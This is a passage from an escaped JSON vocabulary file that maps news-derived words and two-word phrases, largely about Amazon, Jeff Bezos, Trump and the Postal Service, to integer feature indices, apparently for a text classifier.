16218,\n  \"cuomo offices\": 16219,\n  \"save little\": 16220,\n  \"bamco\": 16221,\n  \"amazon antitrust\": 16222,\n  \"sweeping crackdowns\": 16223,\n  \"tiny tyrannosaur\": 16224,\n  \"2018 saying\": 16225,\n  \"subsidizing amazon\": 16226,\n  \"krzanich\": 16227,\n  \"reasons rolling\": 16228,\n  \"natural rivals\": 16229,\n  \"natural speech\": 16230,\n  \"news app\": 16231,\n  \"laden queens\": 16232,\n  \"smore\": 16233,\n  \"gentleman standing\": 16234,\n  \"2018 legal\": 16235,\n  \"prices widens\": 16236,\n  \"consumers\": 16237,\n  \"culture bezos\": 16238,\n  \"thenational enquirer\": 16239,\n  \"ice day\": 16240,\n  \"physical gross\": 16241,\n  \"availing\": 16242,\n  \"90s manhattan\": 16243,\n  \"lords\": 16244,\n  \"totally legit\": 16245,\n  \"taseer aatish\": 16246,\n  \"usually dealt\": 16247,\n  \"employees voicing\": 16248,\n  \"destabilization\": 16249,\n  \"255 raised\": 16250,\n  \"say jeff\": 16251,\n  \"teams\": 16252,\n  \"cutters news\": 16253,\n  \"invent conference\": 16254,\n  \"absurdly\": 16255,\n  \"extensive assistance\": 16256,\n  \"recommendation algorithm\": 16257,\n  \"favorite service\": 16258,\n  \"sanctions lifted\": 16259,\n  \"giovanni ribisi\": 16260,\n  \"monitor\": 16261,\n  \"despite shelling\": 16262,\n  \"play comments\": 16263,\n  \"political fits\": 16264,\n  \"rounds amazon\": 16265,\n  \"billion 210\": 16266,\n  \"article body\": 16267,\n  \"trump animosity\": 16268,\n  \"ranking congressional\": 16269,\n  \"promising unbelievable\": 16270,\n  \"1117161568 d1a\": 16271,\n  \"impossible\": 16272,\n  \"training programs\": 16273,\n  \"explicit text\": 16274,\n  \"isac\": 16275,\n  \"investigative journalist\": 16276,\n  \"caller felt\": 16277,\n  \"lovingly\": 16278,\n  \"including amazon\": 16279,\n  \"unsynchronized\": 16280,\n  \"geofenced areas\": 16281,\n  \"susana mendoza\": 16282,\n  \"the\\u0430wary \\u0430scary\": 16283,\n  \"current financial\": 16284,\n  \"shock disgust\": 16285,\n  \"thing gw\": 16286,\n  \"told techcrunch\": 16287,\n  \"using novel\": 16288,\n  \"sawant routinely\": 16289,\n  \"available thanks\": 16290,\n  \"liberator cody\": 16291,\n  \"brewer jamie\": 16292,\n  \"net larry\": 16293,\n  \"testimony google\": 16294,\n  \"major trip\": 16295,\n  \"paced environment\": 16296,\n  \"nomadic americans\": 16297,\n  \"issue orianna\": 16298,\n  \"report courtney\": 16299,\n  \"hood brims\": 16300,\n  \"freddy\": 16301,\n  \"tom hopper\": 16302,\n  \"opening new\": 16303,\n  \"manager positions\": 16304,\n  \"highest price\": 16305,\n  \"potential action\": 16306,\n  \"loose monetary\": 16307,\n  \"treasurys\": 16308,\n  \"reduced service\": 16309,\n  \"performing\": 16310,\n  \"pay boost\": 16311,\n  \"mysteries\": 16312,\n  \"reaching trillion\": 16313,\n  \"dorsey showing\": 16314,\n  \"peel\": 16315,\n  \"infrastructure funding\": 16316,\n  \"routinely pilloried\": 16317,\n  \"withdraws national\": 16318,\n  \"dangers percolating\": 16319,\n  \"demoting\": 16320,\n  \"2558225\": 16321,\n  \"corporate selected\": 16322,\n  \"repeatedly expressed\": 16323,\n  \"department paying\": 16324,\n  \"cuomo frankly\": 16325,\n  \"consider just\": 16326,\n  \"m0 da\": 16327,\n  \"initially fell\": 16328,\n  \"amazon rds\": 16329,\n  \"kids explore\": 16330,\n  \"taulli recently\": 16331,\n  \"socialist member\": 16332,\n  \"national group\": 16333,\n  \"commerce solutions\": 16334,\n  \"retail globally\": 16335,\n  \"doj contends\": 16336,\n  \"history contrary\": 16337,\n  \"homelessness spending\": 16338,\n  \"experience 125\": 16339,\n  \"association argues\": 16340,\n  \"deadlines start\": 16341,\n  \"sampling\": 16342,\n  \"calhoun\": 16343,\n  \"finance boom\": 16344,\n  \"goods chain\": 16345,\n  \"protocols algorithms\": 16346,\n  \"valuable insights\": 16347,\n  \"identity shopping\": 16348,\n  \"lineal middleweight\": 16349,\n  \"tone today\": 16350,\n  \"include massive\": 16351,\n  \"sole purpose\": 16352,\n  \"relatedarticles null\": 16353,\n  \"offer details\": 16354,\n  \"helps pass\": 16355,\n  \"secretary\": 16356,\n  \"competitor\": 16357,\n  \"meghan joins\": 16358,\n  \"ba rec\": 16359,\n  \"newsroom ap\": 16360,\n  \"ivanka trump\": 16361,\n  \"manohla\": 16362,\n  \"mike posted\": 16363,\n  \"killed passenger\": 16364,\n  \"progress old\": 16365,\n  \"lawsuit seeking\": 16366,\n  \"power generation\": 16367,\n  \"plan think\": 16368,\n  \"lvmh high\": 16369,\n  \"3aen\": 16370,\n  \"want jobs\": 16371,\n  \"geographical scope\": 16372,\n  \"good knife\": 16373,\n  \"communications jay\": 16374,\n  \"amazon exlarge\": 16375,\n  \"amazon toyota\": 16376,\n  \"force bends\": 16377,\n  \"analyze\": 16378,\n  \"trump latestnews\": 16379,\n  \"e1\": 16380,\n  \"worth \\u0142122\": 16381,\n  \"fathering\": 16382,\n  \"involvement special\": 16383,\n  \"published excerpts\": 16384,\n  \"hisses\": 16385,\n  \"citing report\": 16386,\n  \"washington jaspers\": 16387,\n  \"nerd\": 16388,\n  \"vicious competitors\": 16389,\n  \"obama second\": 16390,\n  \"wealthiest people\": 16391,\n  \"conundrum\": 16392,\n  \"kelly wright\": 16393,\n  \"information sellers\": 16394,\n  \"cocktail codex\": 16395,\n  \"particularly\": 16396,\n  \"weekly gain\": 16397,\n  \"jerry west\": 16398,\n  \"essentially subsidises\": 16399,\n  \"brother leak\": 16400,\n  \"ran holiday\": 16401,\n  \"host book\": 16402,\n  \"buy good\": 16403,\n  \"sources bezos\": 16404,\n  \"lifted sanctions\": 16405,\n  \"woman killed\": 16406,\n  \"agency shortly\": 16407,\n  \"mic\": 16408,\n  \"hamm sent\": 16409,\n  \"added vague\": 16410,\n  \"cerebral palsy\": 16411,\n  \"stress reliever\": 16412,\n  \"large lobbying\": 16413,\n  \"staff minutes\": 16414,\n  \"cartels\": 16415,\n  \"tastiest\": 16416,\n  \"greed head\": 16417,\n  \"adults want\": 16418,\n  \"billy\": 16419,\n  \"280 homeless\": 16420,\n  \"microsoft device\": 16421,\n  \"new senate\": 16422,\n  \"throw microsoft\": 16423,\n  \"carte\": 16424,\n  \"aviation sector\": 16425,\n  \"physically healthy\": 16426,\n  \"booming trump\": 16427,\n  \"dfs\": 16428,\n  \"investments invesco\": 16429,\n  \"trump doj\": 16430,\n  \"boycotts lawsuits\": 16431,\n  \"relevant combining\": 16432,\n  \"fuel suspicions\": 16433,\n  \"california peninsula\": 16434,\n  \"compositions\": 16435,\n  \"offred final\": 16436,\n  \"apocalypse brought\": 16437,\n  \"thirteen reasons\": 16438,\n  \"teen vogue\": 16439,\n  \"atomwaffen\": 16440,\n  \"rival bids\": 16441,\n  \"instead amplified\": 16442,\n  \"persuade\": 16443,\n  \"ditch new\": 16444,\n  \"follow ken\": 16445,\n  \"president signed\": 16446,\n  \"money coming\": 16447,\n  \"youngs world\": 16448,\n  \"amazon hour\": 16449,\n  \"colonial era\": 16450,\n  \"2003 calling\": 16451,\n  \"karapatan\": 16452,\n  \"likes amazon\": 16453,\n  \"interim condensed\": 16454,\n  \"summer camps\": 16455,\n  \"dpd\": 16456,\n  \"letter sent\": 16457,\n  \"outsize influence\": 16458,\n  \"strongest\": 16459,\n  \"cannibalise\": 16460,\n  \"sean diddy\": 16461,\n  \"hike later\": 16462,\n  \"rabbits\": 16463,\n  \"allegations prove\": 16464,\n  \"questioning lauren\": 16465,\n  \"2018 wusa\": 16466,\n  \"significant meetings\": 16467,\n  \"news presenter\": 16468,\n  \"delicate time\": 16469,\n  \"really wants\": 16470,\n  \"structurally\": 16471,\n  \"biggest customers\": 16472,\n  \"stinky\": 16473,\n  \"obscure world\": 16474,\n  \"higher growth\": 16475,\n  \"grace pizzazz\": 16476,\n  \"ross just\": 16477,\n  \"vendors eager\": 16478,\n  \"journal ranked\": 16479,\n  \"hope john\": 16480,\n  \"kr\": 16481,\n  \"rights victor\": 16482,\n  \"writes christopher\": 16483,\n  \"receiving counterfeits\": 16484,\n  \"balloon publishing\": 16485,\n  \"year adjusted\": 16486,\n  \"viewed bezos\": 16487,\n  \"shipping 2018\": 16488,\n  \"bezos controversy\": 16489,\n  \"schools rich\": 16490,\n  \"cults lost\": 16491,\n  \"blk state\": 16492,\n  \"homebase\": 16493,\n  \"bad day\": 16494,\n  \"te anau\": 16495,\n  \"levels management\": 16496,\n  \"grim picture\": 16497,\n  \"leaders expressed\": 16498,\n  \"knife fight\": 16499,\n  \"plunge yesterday\": 16500,\n  \"just union\": 16501,\n  \"innocent driver\": 16502,\n  \"people campaigning\": 16503,\n  \"maxwell\": 16504,\n  \"market gorilla\": 16505,\n  \"defenders according\": 16506,\n  \"biased democrats\": 16507,\n  \"given just\": 16508,\n  \"yhoo\": 16509,\n  \"pwc regence\": 16510,\n  \"products included\": 16511,\n  \"conditions efforts\": 16512,\n  \"dc just\": 16513,\n  \"classifications\": 16514,\n  \"objects hotstar\": 16515,\n  \"big question\": 16516,\n  \"subscription fees\": 16517,\n  \"just filed\": 16518,\n  \"haunt rival\": 16519,\n  \"bullish contrarians\": 16520,\n  \"000z\": 16521,\n  \"lower latency\": 16522,\n  \"driven shipping\": 16523,\n  \"did really\": 16524,\n  \"policies dictated\": 16525,\n  \"proclamations\": 16526,\n  \"hbk\": 16527,\n  \"loathes implied\": 16528,\n  \"photo\": 16529,\n  \"conduct variety\": 16530,\n  \"art stadium\": 16531,\n  \"cert queens\": 16532,\n  \"helping bolsonaro\": 16533,\n  \"eric johnson\": 16534,\n  \"specifically named\": 16535,\n  \"campaign season\": 16536,\n  \"rights aeht\": 16537,\n  \"scrutiny ubhi\": 16538,\n  \"factor authentication\": 16539,\n  \"instantly think\": 16540,\n  \"undefined typeof\": 16541,\n  \"stylized\": 16542,\n  \"garden level\": 16543,\n  \"deportation programs\": 16544,\n  \"bringing new\": 16545,\n  \"enduring\": 16546,\n  \"promotions globe\": 16547,\n  \"maya rudolph\": 16548,\n  \"robyn denholm\": 16549,\n  \"treatment trump\": 16550,\n  \"nonprofit\": 16551,\n  \"class maybe\": 16552,\n  \"hospitals\": 16553,\n  \"summer aggravated\": 16554,\n  \"redstone family\": 16555,\n  \"requires level\": 16556,\n  \"clare mcgrane\": 16557,\n  \"tangible says\": 16558,\n  \"contact reporter\": 16559,\n  \"week newsletter\": 16560,\n  \"fox msnbc\": 16561,\n  \"corporate owners\": 16562,\n  \"2016 financial\": 16563,\n  \"sharief\": 16564,\n  \"political enemy\": 16565,\n  \"xenophobic\": 16566,\n  \"predict right\": 16567,\n  \"bendib\": 16568,\n  \"told thedc\": 16569,\n  \"100 certainty\": 16570,\n  \"right approach\": 16571,\n  \"describing apparently\": 16572,\n  \"haskett\": 16573,\n  \"venezuelan gold\": 16574,\n  \"vince dixon\": 16575,\n  \"organisations\": 16576,\n  \"strikes high\": 16577,\n  \"deter european\": 16578,\n  \"positives\": 16579,\n  \"business including\": 16580,\n  \"klein nate\": 16581,\n  \"25am\": 16582,\n  \"included sarah\": 16583,\n  \"approximately billion\": 16584,\n  \"sports teams\": 16585,\n  \"recently lashed\": 16586,\n  \"reporter actions\": 16587,\n  \"introduced clients\": 16588,\n  \"rabinovitz\": 16589,\n  \"important book\": 16590,\n  \"palm\": 16591,\n  \"tony luong\": 16592,\n  \"crush imports\": 16593,\n  \"city stock\": 16594,\n  \"money industries\": 16595,\n  \"edition infowars\": 16596,\n  \"leaders discussion\": 16597,\n  \"ya s5\": 16598,\n  \"wealthy mexico\": 16599,\n  \"barren australian\": 16600,\n  \"fur doesn\": 16601,\n  \"reissue\": 16602,\n  \"times mccabe\": 16603,\n  \"wouldn feel\": 16604,\n  \"multiple requests\": 16605,\n  \"quite frightening\": 16606,\n  \"knowledge prospect\": 16607,\n  \"cat zakrzewski\": 16608,\n  \"z8 m4\": 16609,\n  \"expectations low\": 16610,\n  \"stock outrperform\": 16611,\n  \"specialist\": 16612,\n  \"director dylan\": 16613,\n  \"information shapes\": 16614,\n  \"reports michael\": 16615,\n  \"industry videos\": 16616,\n  \"million\": 16617,\n  \"captain marvel\": 16618,\n  \"mnuchin began\": 16619,\n  \"kapos skapos\": 16620,\n  \"website politifact\": 16621,\n  \"democrat earlier\": 16622,\n  \"sparking twitter\": 16623,\n  \"central roles\": 16624,\n  \"ebay\": 16625,\n  \"increase pressure\": 16626,\n  \"reform including\": 16627,\n  \"trump counter\": 16628,\n  \"government writes\": 16629,\n  \"new canada\": 16630,\n  \"fully tax\": 16631,\n  \"frontloaded given\": 16632,\n  \"revised 479\": 16633,\n  \"unique design\": 16634,\n  \"emerged sens\": 16635,\n  \"international house\": 16636,\n  \"chronology htm\": 16637,\n  \"honeyman check\": 16638,\n  \"rikers island\": 16639,\n  \"downside hasn\": 16640,\n  \"accenture chevron\": 16641,\n  \"economic productivity\": 16642,\n  \"users probably\": 16643,\n  \"placeswhere\": 16644,\n  \"run ads\": 16645,\n  \"worth reading\": 16646,\n  \"incorporated new\": 16647,\n  \"main candidate\": 16648,\n  \"spells monopoly\": 16649,\n  \"facility new\": 16650,\n  \"track canadian\": 16651,\n  \"price began\": 16652,\n  \"cable free\": 16653,\n  \"stock image\": 16654,\n  \"costco maxx\": 16655,\n  \"exaggerating\": 16656,\n  \"post australia\": 16657,\n  \"file antitrust\": 16658,\n  \"batch\": 16659,\n  \"specific obama\": 16660,\n  \"659\": 16661,\n  \"horning\": 16662,\n  \"shareholder stunned\": 16663,\n  \"start brian\": 16664,\n  \"servility\": 16665,\n  \"voqaw5nn2u newssuite\": 16666,\n  \"chairman ceo\": 16667,\n  \"bad judgment\": 16668,\n  \"busy ramming\": 16669,\n  \"tara lachapelle\": 16670,\n  \"primary victory\": 16671,\n  \"leaves office\": 16672,\n  \"environmental licensing\": 16673,\n  \"deliver meals\": 16674,\n  \"free china\": 16675,\n  \"nomination washington\": 16676,\n  \"currently prime\": 16677,\n  \"crosstalk bartiromo\": 16678,\n  \"life thrown\": 16679,\n  \"methods developed\": 16680,\n  \"penalty tariffs\": 16681,\n  \"netanyahu accompanied\": 16682,\n  \"family archie\": 16683,\n  \"bernadette\": 16684,\n  \"policy economic\": 16685,\n  \"clothed\": 16686,\n  \"term needs\": 16687,\n  \"enchancment hq2\": 16688,\n  \"unfavorable\": 16689,\n  \"350 000\": 16690,\n  \"vexing trade\": 16691,\n  \"bezos allegation\": 16692,\n  \"supplemental nutritional\": 16693,\n  \"presumably affect\": 16694,\n  \"patti davis\": 16695,\n  \"mineral\": 16696,\n  \"faces heightened\": 16697,\n  \"president according\": 16698,\n  \"tyson allegations\": 16699,\n  \"stakes 467\": 16700,\n  \"profits overseas\": 16701,\n  \"vestige\": 16702,\n  \"sebastian\": 16703,\n  \"anti net\": 16704,\n  \"deeply disturbing\": 16705,\n  \"previous chief\": 16706,\n  \"better position\": 16707,\n  \"unit spun\": 16708,\n  \"doug kass\": 16709,\n  \"reports brit\": 16710,\n  \"mnuchin doesn\": 16711,\n  \"attack vehicle\": 16712,\n  \"offered us3\": 16713,\n  \"oscars lady\": 16714,\n  \"changes rainfall\": 16715,\n  \"forested\": 16716,\n  \"just imagine\": 16717,\n  \"contain\": 16718,\n  \"ama\": 16719,\n  \"officially named\": 16720,\n  \"grain\": 16721,\n  \"underlying trend\": 16722,\n  \"workers effective\": 16723,\n  \"sci fi\": 16724,\n  \"customers report\": 16725,\n  \"timesofkskgallery blogspot\": 16726,\n  \"bind\": 16727,\n  \"essential delivery\": 16728,\n  \"taylor smith\": 16729,\n  \"different needs\": 16730,\n  \"administration usps\": 16731,\n  \"dollar\": 16732,\n  \"indexes corrections\": 16733,\n  \"longtime donor\": 16734,\n  \"girl message\": 16735,\n  \"strong moments\": 16736,\n  \"247\": 16737,\n  \"ice officials\": 16738,\n  \"logistics infrastructure\": 16739,\n  \"lawyerly\": 16740,\n  \"deal mayor\": 16741,\n  \"people house\": 16742,\n  \"happy\": 16743,\n  \"newark\": 16744,\n  \"american actress\": 16745,\n  \"fine process\": 16746,\n  \"strongest evidence\": 16747,\n  \"cheap\": 16748,\n  \"tells people\": 16749,\n  \"44842732821\": 16750,\n  \"raise revenue\": 16751,\n  \"nicknames\": 16752,\n  \"delivery partners\": 16753,\n  \"shelves amazon\": 16754,\n  \"breaking multi\": 16755,\n  \"hit trump\": 16756,\n  \"interests\": 16757,\n  \"slowed\": 16758,\n  \"jia\": 16759,\n  \"domino pizza\": 16760,\n  \"walmart operations\": 16761,\n  \"india trip\": 16762,\n  \"accepting cash\": 16763,\n  \"congress marking\": 16764,\n  \"employee salary\": 16765,\n  \"security appropriations\": 16766,\n  \"155 calls\": 16767,\n  \"waging secret\": 16768,\n  \"nami\": 16769,\n  \"day taliban\": 16770,\n  \"patent rich\": 16771,\n  \"run restaurant\": 16772,\n  \"raisfeld\": 16773,\n  \"sitting opposite\": 16774,\n  \"family foundation\": 16775,\n  \"photo editing\": 16776,\n  \"published glossy\": 16777,\n  \"meld\": 16778,\n  \"shea points\": 16779,\n  \"remove forest\": 16780,\n  \"responders\": 16781,\n  \"intimately big\": 16782,\n  \"wearing clothing\": 16783,\n  \"sleaze\": 16784,\n  \"tyrannosaur\": 16785,\n  \"forecast 2018\": 16786,\n  \"problems citing\": 16787,\n  \"follows report\": 16788,\n  \"trump initial\": 16789,\n  \"requiring standing\": 16790,\n  \"relates\": 16791,\n  \"farm family\": 16792,\n  \"inflation switch\": 16793,\n  \"union competition\": 16794,\n  \"biz startups\": 16795,\n  \"states big\": 16796,\n  \"stonesifer\": 16797,\n  \"data business\": 16798,\n  \"group members\": 16799,\n  \"sister company\": 16800,\n  \"media admitted\": 16801,\n  \"seattle shortly\": 16802,\n  \"political preferences\": 16803,\n  \"stock trader\": 16804,\n  \"praise bezos\": 16805,\n  \"roulette\": 16806,\n  \"online competitors\": 16807,\n  \"unlikely papazian\": 16808,\n  \"loyola\": 16809,\n  \"hacking charge\": 16810,\n  \"times tweeted\": 16811,\n  \"commission just\": 16812,\n  \"cnn\": 16813,\n  \"nick routley\": 16814,\n  \"jobs bezos\": 16815,\n  \"nearby data\": 16816,\n  \"acquired amazon\": 16817,\n  \"home buyers\": 16818,\n  \"denied sanders\": 16819,\n  \"secon amazon\": 16820,\n  \"biggest divorce\": 16821,\n  \"sloss\": 16822,\n  \"actual formal\": 16823,\n  \"getting lower\": 16824,\n  \"dramatically reduced\": 16825,\n  \"target google\": 16826,\n  \"christina meredith\": 16827,\n  \"postal infrastructures\": 16828,\n  \"pirated goods\": 16829,\n  \"online president\": 16830,\n  \"additional control\": 16831,\n  \"dhs secretary\": 16832,\n  \"family morocco\": 16833,\n  \"taxes big\": 16834,\n  \"branson virgin\": 16835,\n  \"giant internet\": 16836,\n  \"facebook recent\": 16837,\n  \"wounded dozens\": 16838,\n  \"douglas segal\": 16839,\n  \"street week\": 16840,\n  \"twitter google\": 16841,\n  \"chairman rep\": 16842,\n  \"iran snarls\": 16843,\n  \"reliable newsletter\": 16844,\n  \"social change\": 16845,\n  \"environmental minister\": 16846,\n  \"causes personally\": 16847,\n  \"self funding\": 16848,\n  \"simply presented\": 16849,\n  \"fox points\": 16850,\n  \"propose\": 16851,\n  \"esmail\": 16852,\n  \"bargains early\": 16853,\n  \"jquery evt\": 16854,\n  \"establishments\": 16855,\n  \"morning president\": 16856,\n  \"media chooses\": 16857,\n  \"appreciates\": 16858,\n  \"hansen\": 16859,\n  \"good omens\": 16860,\n  \"business streams\": 16861,\n  \"regulators looking\": 16862,\n  \"shares oakworth\": 16863,\n  \"signed memorandum\": 16864,\n  \"dailydot\": 16865,\n  \"pervasive\": 16866,\n  \"wrong new\": 16867,\n  \"wrestler hulk\": 16868,\n  \"intellectual capacity\": 16869,\n  \"thatamazon\": 16870,\n  \"substring\": 16871,\n  \"admissions entirely\": 16872,\n  \"government solve\": 16873,\n  \"transaction ctsh\": 16874,\n  \"dentons\": 16875,\n  \"billions dollars\": 16876,\n  \"susan rice\": 16877,\n  \"job gains\": 16878,\n  \"alexa skill\": 16879,\n  \"google homepage\": 16880,\n  \"fund managers\": 16881,\n  \"lewd selfies\": 16882,\n  \"greedily\": 16883,\n  \"american family\": 16884,\n  \"resettled\": 16885,\n  \"family retina\": 16886,\n  \"latest scandal\": 16887,\n  \"piracy trademark\": 16888,\n  \"gaming chips\": 16889,\n  \"bell amgen\": 16890,\n  \"bullying sellers\": 16891,\n  \"assess usps\": 16892,\n  \"japan thank\": 16893,\n  \"squeebles characters\": 16894,\n  \"auxiliarytext bannertext\": 16895,\n  \"immigration rights\": 16896,\n  \"inflict\": 16897,\n  \"products\": 16898,\n  \"start hawking\": 16899,\n  \"skate kitchen\": 16900,\n  \"gross profit\": 16901,\n  \"year licenses\": 16902,\n  \"erases world\": 16903,\n  \"ad mair\": 16904,\n  \"explicitly framed\": 16905,\n  \"smerconish\": 16906,\n  \"disputes lately\": 16907,\n  \"trump impractical\": 16908,\n  \"wasn lost\": 16909,\n  \"high fixed\": 16910,\n  \"trump lists\": 16911,\n  \"finance lp\": 16912,\n  \"counter space\": 16913,\n  \"lobbied postmaster\": 16914,\n  \"sufficiently virtuous\": 16915,\n  \"littlefield\": 16916,\n  \"attack factcheck\": 16917,\n  \"japanese officials\": 16918,\n  \"daniels trump\": 16919,\n  \"4bkk4jff1g\": 16920,\n  \"reminds investors\": 16921,\n  \"100418 medium\": 16922,\n  \"leader everybody\": 16923,\n  \"tinder users\": 16924,\n  \"publish exactly\": 16925,\n  \"power instead\": 16926,\n  \"disobeying\": 16927,\n  \"sale talks\": 16928,\n  \"having shared\": 16929,\n  \"zinke interior\": 16930,\n  \"different walks\": 16931,\n  \"critical ofamazon\": 16932,\n  \"qtt roku\": 16933,\n  \"altar likewise\": 16934,\n  \"gamed\": 16935,\n  \"feet snorting\": 16936,\n  \"kurd\": 16937,\n  \"counterfeiting measures\": 16938,\n  \"astonishingly shortsighted\": 16939,\n  \"sexual letters\": 16940,\n  \"retailer stocks\": 16941,\n  \"seattle location\": 16942,\n  \"redactions\": 16943,\n  \"measure including\": 16944,\n  \"seller named\": 16945,\n  \"comparisongrids\": 16946,\n  \"salaries averaging\": 16947,\n  \"stalled china\": 16948,\n  \"rapid\": 16949,\n  \"isolationist\": 16950,\n  \"earlier payment\": 16951,\n  \"hollywood dominance\": 16952,\n  \"847\": 16953,\n  \"chief jeff\": 16954,\n  \"issue specifically\": 16955,\n  \"functioning governing\": 16956,\n  \"potential usps\": 16957,\n  \"eu finance\": 16958,\n  \"additionally bolsonaro\": 16959,\n  \"trump funniest\": 16960,\n  \"compelling personal\": 16961,\n  \"tax lots\": 16962,\n  \"adding nearly\": 16963,\n  \"rules set\": 16964,\n  \"year versus\": 16965,\n  \"collection image\": 16966,\n  \"cher\": 16967,\n  \"currentvideocollectioncontainsid\": 16968,\n  \"run apps\": 16969,\n  \"using physical\": 16970,\n  \"corporates\": 16971,\n  \"chargebacks\": 16972,\n  \"critics cuomo\": 16973,\n  \"129\": 16974,\n  \"strike new\": 16975,\n  \"131\": 16976,\n  \"google eyes\": 16977,\n  \"twitter rants\": 16978,\n  \"potential hit\": 16979,\n  \"publicly rallying\": 16980,\n  \"shipping fees\": 16981,\n  \"r4ee y9e\": 16982,\n  \"virginia illustrates\": 16983,\n  \"bezos reports\": 16984,\n  \"native poets\": 16985,\n  \"story reasons\": 16986,\n  \"428030\": 16987,\n  \"adel\": 16988,\n  \"turing architecture\": 16989,\n  \"debate regardless\": 16990,\n  \"trading pushed\": 16991,\n  \"nevada state\": 16992,\n  \"v4 object\": 16993,\n  \"delinquencies\": 16994,\n  \"manipulating\": 16995,\n  \"expensive drugs\": 16996,\n  \"senior workers\": 16997,\n  \"edwin\": 16998,\n  \"city ami\": 16999,\n  \"course justice\": 17000,\n  \"easy reach\": 17001,\n  \"atkinson\": 17002,\n  \"canada dysfunctional\": 17003,\n  \"executives dismissed\": 17004,\n  \"h\\u00e4ns swipe\": 17005,\n  \"meeting according\": 17006,\n  \"breaking news\": 17007,\n  \"revenue sharing\": 17008,\n  \"recent failures\": 17009,\n  \"competing measures\": 17010,\n  \"year moratorium\": 17011,\n  \"leonhardt\": 17012,\n  \"sixth largest\": 17013,\n  \"1920 lewis\": 17014,\n  \"veiled\": 17015,\n  \"patent infringing\": 17016,\n  \"means business\": 17017,\n  \"support page\": 17018,\n  \"capturing\": 17019,\n  \"fired ilieanna\": 17020,\n  \"subpoenaed story\": 17021,\n  \"tesco\": 17022,\n  \"viral video\": 17023,\n  \"michael florida\": 17024,\n  \"despite growing\": 17025,\n  \"jewish lions\": 17026,\n  \"raiser ben_richie\": 17027,\n  \"cup venture\": 17028,\n  \"lobbyist\\u00e2\": 17029,\n  \"ideological clich\\u00e9s\": 17030,\n  \"greater profits\": 17031,\n  \"conservative commentators\": 17032,\n  \"given millions\": 17033,\n  \"earnings estimates\": 17034,\n  \"dpsrc srch\": 17035,\n  \"dysfunctional regulatory\": 17036,\n  \"congressman adam\": 17037,\n  \"packages president\": 17038,\n  \"fractional moves\": 17039,\n  \"evidence mueller\": 17040,\n  \"forage\": 17041,\n  \"proposed wall\": 17042,\n  \"political investigation\": 17043,\n  \"childhood cancer\": 17044,\n  \"continues gold\": 17045,\n  \"testing facility\": 17046,\n  \"escaped\": 17047,\n  \"forecasts googler\": 17048,\n  \"fancy\": 17049,\n  \"president bag\": 17050,\n  \"investigating harvey\": 17051,\n  \"chesterfield\": 17052,\n  \"2018 barack\": 17053,\n  \"announce amazon\": 17054,\n  \"policy regulatory\": 17055,\n  \"money scheme\": 17056,\n  \"millennial women\": 17057,\n  \"market returns\": 17058,\n  \"reddit user\": 17059,\n  \"people tended\": 17060,\n  \"cuar\\u00f3n\": 17061,\n  \"mandhana\": 17062,\n  \"weak manufacturing\": 17063,\n  \"times obituary\": 17064,\n  \"apurva rawal\": 17065,\n  \"launched numerous\": 17066,\n  \"tm election\": 17067,\n  \"flanhofer strongsville\": 17068,\n  \"military\": 17069,\n  \"appreciation\": 17070,\n  \"helped stream\": 17071,\n  \"pro migration\": 17072,\n  \"data wobble\": 17073,\n  \"actual grind\": 17074,\n  \"answering\": 17075,\n  \"monica nickelsburg\": 17076,\n  \"bargain bins\": 17077,\n  \"authorized construction\": 17078,\n  \"administration continues\": 17079,\n  \"barclays maintains\": 17080,\n  \"officials wanted\": 17081,\n  \"fda\": 17082,\n  \"benicio del\": 17083,\n  \"google really\": 17084,\n  \"faith\": 17085,\n  \"dior products\": 17086,\n  \"contestant stars\": 17087,\n  \"coffee chocolate\": 17088,\n  \"showed overwhelming\": 17089,\n  \"firm employee\": 17090,\n  \"mourning\": 17091,\n  \"obama released\": 17092,\n  \"positive note\": 17093,\n  \"held vitriol\": 17094,\n  \"started talking\": 17095,\n  \"magazine investigated\": 17096,\n  \"70m worth\": 17097,\n  \"affair bezos\": 17098,\n  \"harassment donald\": 17099,\n  \"enforcement saying\": 17100,\n  \"isac n\\u00f3brega\": 17101,\n  \"ix congresswoman\": 17102,\n  \"trump ears\": 17103,\n  \"addition ruling\": 17104,\n  \"arlington headquarters\": 17105,\n  \"infamous scandals\": 17106,\n  \"shortfall 2018\": 17107,\n  \"finest classical\": 17108,\n  \"118 elements\": 17109,\n  \"cbs miami\": 17110,\n  \"taken note\": 17111,\n  \"draft brexit\": 17112,\n  \"proposes big\": 17113,\n  \"siblings raised\": 17114,\n  \"management negotiating\": 17115,\n  \"didi\": 17116,\n  \"party presidential\": 17117,\n  \"heats\": 17118,\n  \"bad news\": 17119,\n  \"democratic committee\": 17120,\n  \"recently related\": 17121,\n  \"rouhani\": 17122,\n  \"good yield\": 17123,\n  \"competitive markets\": 17124,\n  \"democracy laura\": 17125,\n  \"outstanding doctor\": 17126,\n  \"agency challenges\": 17127,\n  \"decision usps\": 17128,\n  \"sales taxes\": 17129,\n  \"null inc_headline\": 17130,\n  \"enquirer publish\": 17131,\n  \"shoddy poll\": 17132,\n  \"expensive deals\": 17133,\n  \"amaozn fine\": 17134,\n  \"null credit\": 17135,\n  \"including packages\": 17136,\n  \"growth coupled\": 17137,\n  \"carell impersonating\": 17138,\n  \"wrath anderson\": 17139,\n  \"night lineup\": 17140,\n  \"support staff\": 17141,\n  \"musicmodernizationact\": 17142,\n  \"christopher balding\": 17143,\n  \"budget donald\": 17144,\n  \"pentagon trump\": 17145,\n  \"called jedi\": 17146,\n  \"bows\": 17147,\n  \"protection regulation\": 17148,\n  \"approve espn\": 17149,\n  \"rose 215\": 17150,\n  \"certainpoliticians\": 17151,\n  \"agencies brennan\": 17152,\n  \"slumped early\": 17153,\n  \"orlando\": 17154,\n  \"sheraton times\": 17155,\n  \"corporate tax\": 17156,\n  \"frozen treats\": 17157,\n  \"house schiff\": 17158,\n  \"dueling popes\": 17159,\n  \"effective companies\": 17160,\n  \"movie deal\": 17161,\n  \"mexico retaliates\": 17162,\n  \"commensurately impoverished\": 17163,\n  \"coffee shops\": 17164,\n  \"spray painted\": 17165,\n  \"virginia choices\": 17166,\n  \"2q\": 17167,\n  \"shared information\": 17168,\n  \"bloc competition\": 17169,\n  \"svitlana zalishchuk\": 17170,\n  \"probably involved\": 17171,\n  \"sent 310\": 17172,\n  \"services business\": 17173,\n  \"\\u0142115 000\": 17174,\n  \"warmed\": 17175,\n  \"aggrandizing\": 17176,\n  \"1q18\": 17177,\n  \"wage democratic\": 17178,\n  \"spence\": 17179,\n  \"book author\": 17180,\n  \"nightingale kristin\": 17181,\n  \"defiant political\": 17182,\n  \"signit\": 17183,\n  \"features voiceover\": 17184,\n  \"upward read\": 17185,\n  \"expect capital\": 